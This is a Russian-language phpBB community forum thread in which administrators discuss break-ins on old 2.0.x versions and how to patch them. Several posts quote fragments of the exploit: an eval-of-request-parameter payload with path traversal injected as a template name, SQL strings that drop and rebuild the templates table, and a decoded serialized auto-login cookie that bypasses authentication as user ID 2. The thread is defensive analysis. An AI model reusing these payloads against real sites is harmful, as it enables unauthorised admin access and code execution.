Защита в phpBB

[Vladson]

Я брался за это недоброе дело (на версии 2.0.11) но потом понял что это фигня (нет уникальных модов, каждому нравится что-то своё)

[Erlang]

По аналогии с PHPBB+: там около 10 МОДов. При установке пользователь может выбрать МОДы для установки.

[phpbb user]

День добрый!

Этот топик http://www.phpbbguru.net/community/viewtopic.php?t=2030
надо было начать в данном топике.

Итак вопрос - как защитить форум phpBB от интенсивных поисков типа * в троке запроса? Где можно найти моды защиты поиска?

Спасибо!

[GGcube]

Вот значит у меня в phpbb известные дыры залотаны,окозалось что нет .Посторонний человек смог на моём форуме сменить шкуру в админке увидел вот такой код aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmpКак можно залотать дыру ?

[Coagulant]

GGcube
У вас видимо не установлена последняя версия phpbb, либо установлена неправильно. Вам сюда: http://phpbbguru.net/community/viewtopi ... 7990#17990

[GGcube]

Я делал Update с 2.0.11 до 12 и с неё до 13 всё верно устанавливал.Cтранно ето всё

[Coagulant]

GGcube
В любом случае вас могли хакнуть каким-либо другим способом, а в логах просто остались следы попыток неудачного взлома.

Вообще для подобных вопросов тема уже поднималась:
http://phpbbguru.net/community/viewtopic.php?t=1905

[PluSh_KiLLeR]

ну не знаю, меня ломали регулярно, пока мне это не надоело, и я стал отслеживать заплатки.
Пол года тишина

[sigal]

тут все проще! меня ломали один раз всего, и то из-за того что при версии 2.0.11, я сидел на 2.0.6.. после чего обновился до версии 2.0.13 и все тики-пики.. обновляйтесь регулярно и все будет ок.

[alexenin]

Вот и меня ломанули.

Код: Выделить всё

Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file

Сидел никого не трогал. Видимо устарел (2.0.8).
Только не понятно как размер поля смогли изненить в имени шаблона?
Да, еще вот нашлось чудо http://www.securitylab.ru/53295.html

[VVVas]

alexenin

Цель эксплоита: phpBB версии до 2.0.13

[Siava]

alexenin

Видимо устарел (2.0.8 ).

Очнулись, 2.0.15 уже

[alexenin]

VVVas а исходник смотрел? Может на сегодняшний день он до 2.0.13, а завтра его спокойно можно использовать для другого немного изменив.

На первый взгляд баг заключался в отсутствии проверки местонахождения добавляемого стиля в файле admin_styles.php:

Код: Выделить всё

include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");

стало

Код: Выделить всё

include($phpbb_root_path. "templates/" . basename($install_to) . "/theme_info.cfg");

Классно, да?

Мысль о том, что от эксплоида избавимся установив новую версию - это блеф. Форум был взломан через pagestart.php (допустил юзера) и admin_db_utilities.php (разрешил пользователю изменять базу), а в них изменений не произошло.

Пока пытался понять в чем дело, выяснилось, что эксплоид написан с изъяном. Стили исчезали из-за выполения

Код: Выделить всё

#define SQL_TEMPLATES "DROP TABLE IF EXISTS "

прописывался в config основным по умолчанию

Код: Выделить всё

#define SQL_FAKE_TEMPLATES_6 "_config set config_value=\"1\" where config_name=\"default_style\";"

, а дальше создавалась таблица и добавлялся сам стиль

Код: Выделить всё

FAKE_TEMPLATES_NAMES "aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();
// /../../../../../../../../../../../../../../../../../../../tmp"

стиль.

Кто может подсказать, что в этой строке?

Код: Выделить всё

http << "_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22
userid%22%3Bs%3A1%3A%222%22%3B%7D; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";

И самое интересное, что сначало возник вопрос, как смогли изменить размер поля template_name? А никак, просто таблица была удалена и создана заново.

[lEO-dead]

Кто может подсказать, что в этой строке

типа вопорс на зачыпку?
формирует и отсылает кукис:

Код: Выделить всё

phpbb2mysql_data=a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}


т.е. массифчик

Array (
[autologinid] => 1
[userid] => 2
)

[alexenin]

типа вопорс на зачыпку?
формирует и отсылает кукис:

хм.., почти. Выводит на ошибку, которая была в 2.0.14 исправлена.

Код: Выделить всё

if( $sessiondata['autologinid'] === $auto_login_key )

Все плохо. Извините, просто разволновался.